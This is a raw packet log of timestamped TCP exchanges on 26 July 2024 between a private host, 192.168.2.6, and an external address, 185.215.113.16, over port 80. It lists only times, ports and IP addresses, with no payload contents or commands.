Jul 26, 2024 10:36:19.492702961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.492749929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.492785931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.492818117 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.492820024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.492836952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.492851973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.492872000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.492885113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.492907047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.492918968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.492934942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.492955923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.492974043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.493009090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.493413925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.493449926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.493477106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.493482113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.493501902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.493516922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.493532896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.493551970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.493572950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.493586063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.493607998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.493640900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.493973017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.494025946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.494029999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.494059086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.494080067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.494092941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.494115114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.494126081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.494152069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.494158983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.494174957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.494196892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.494215965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.494246960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.563205957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.563251019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.563287020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.563323975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.563421011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.563421965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.563421965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.563421965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564518929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564557076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564590931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564610958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564610958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564625025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564641953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564661026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564668894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564694881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564732075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564733028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564753056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564766884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564800024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564801931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564836025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564841032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564861059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564870119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564888954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564903021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564929962 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564939022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.564961910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.564971924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.565000057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.565010071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.565041065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.565073013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572141886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572176933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572208881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572213888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572233915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572243929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572272062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572277069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572309971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572315931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572315931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572343111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572364092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572375059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572386980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572407961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.572432041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.572465897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.575799942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.575835943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.575867891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.575871944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.575896025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.575906992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.575917006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.575943947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.575962067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.575975895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.575992107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576009989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576026917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576044083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576066971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576085091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576103926 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576122046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576144934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576154947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576179981 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576217890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576276064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576308966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576334953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576340914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576355934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576378107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576401949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576410055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576446056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576447010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576469898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576479912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576529980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576565027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576567888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576567888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576587915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576600075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576620102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576636076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576661110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576669931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.576683998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.576724052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.577929020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.577967882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.577996969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578001022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578017950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578035116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578052998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578068018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578090906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578108072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578114033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578145981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578166008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578180075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578202963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578213930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578238010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578252077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578274965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578285933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578315973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578335047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578680992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578716040 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578749895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578751087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578769922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578788042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578809023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578820944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.578845978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.578867912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.586452007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.586528063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.586602926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.586636066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.586661100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.586690903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.587310076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.587346077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.587377071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.587404966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.588082075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.588119030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.588148117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.588151932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.588171959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.588212967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.604201078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.604304075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.604533911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.604568005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.604598999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.604629993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.605618000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.605654955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.605686903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.605720043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.605778933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.605813026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.605839968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.605865955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.606566906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.606601954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.606633902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.606663942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.607393980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.607434988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.607461929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.607492924 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.637084007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.637121916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.637154102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.637242079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.637275934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.637288094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.637377024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.637377024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.637676001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.637710094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.637861013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.637861013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.638415098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.638449907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.638484955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.638520956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.639149904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.639184952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.639215946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.639221907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.639221907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.639269114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.639952898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.639987946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.640017986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.640043974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.640629053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.640662909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.640692949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.640700102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.640721083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.640738964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.641381979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.641416073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.641447067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.641477108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.642112970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.642148018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.642179966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.642204046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.642819881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.642854929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.642883062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.642910957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.643577099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.643610954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.643640041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.643644094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.643661022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.643696070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.644299984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.644334078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.644371986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.644371986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.644381046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.644437075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.700989008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.701121092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.721735954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.721848011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.721930981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.721997023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.722224951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.722295046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.722513914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.722565889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.722575903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.722621918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.723231077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.723263979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.723304033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.723330975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.723968029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.724001884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.724044085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.724077940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.724705935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.724740028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.724772930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.724855900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.725470066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.725502014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.725529909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.725553989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.726198912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.726233006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.726258039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.726265907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.726288080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.726335049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.726912975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.726948023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.726979971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.727006912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.727658033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.727706909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.727720022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.727760077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.728399992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.728432894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.728465080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.728527069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.729135990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.729166985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.729198933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.729202032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.729219913 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.729257107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.730061054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.730096102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.730134964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.730168104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.730602026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.730635881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.730667114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.730695009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.731349945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.731422901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.732887030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.732964039 CEST	49713	80	192.168.2.6	185.215.113.16
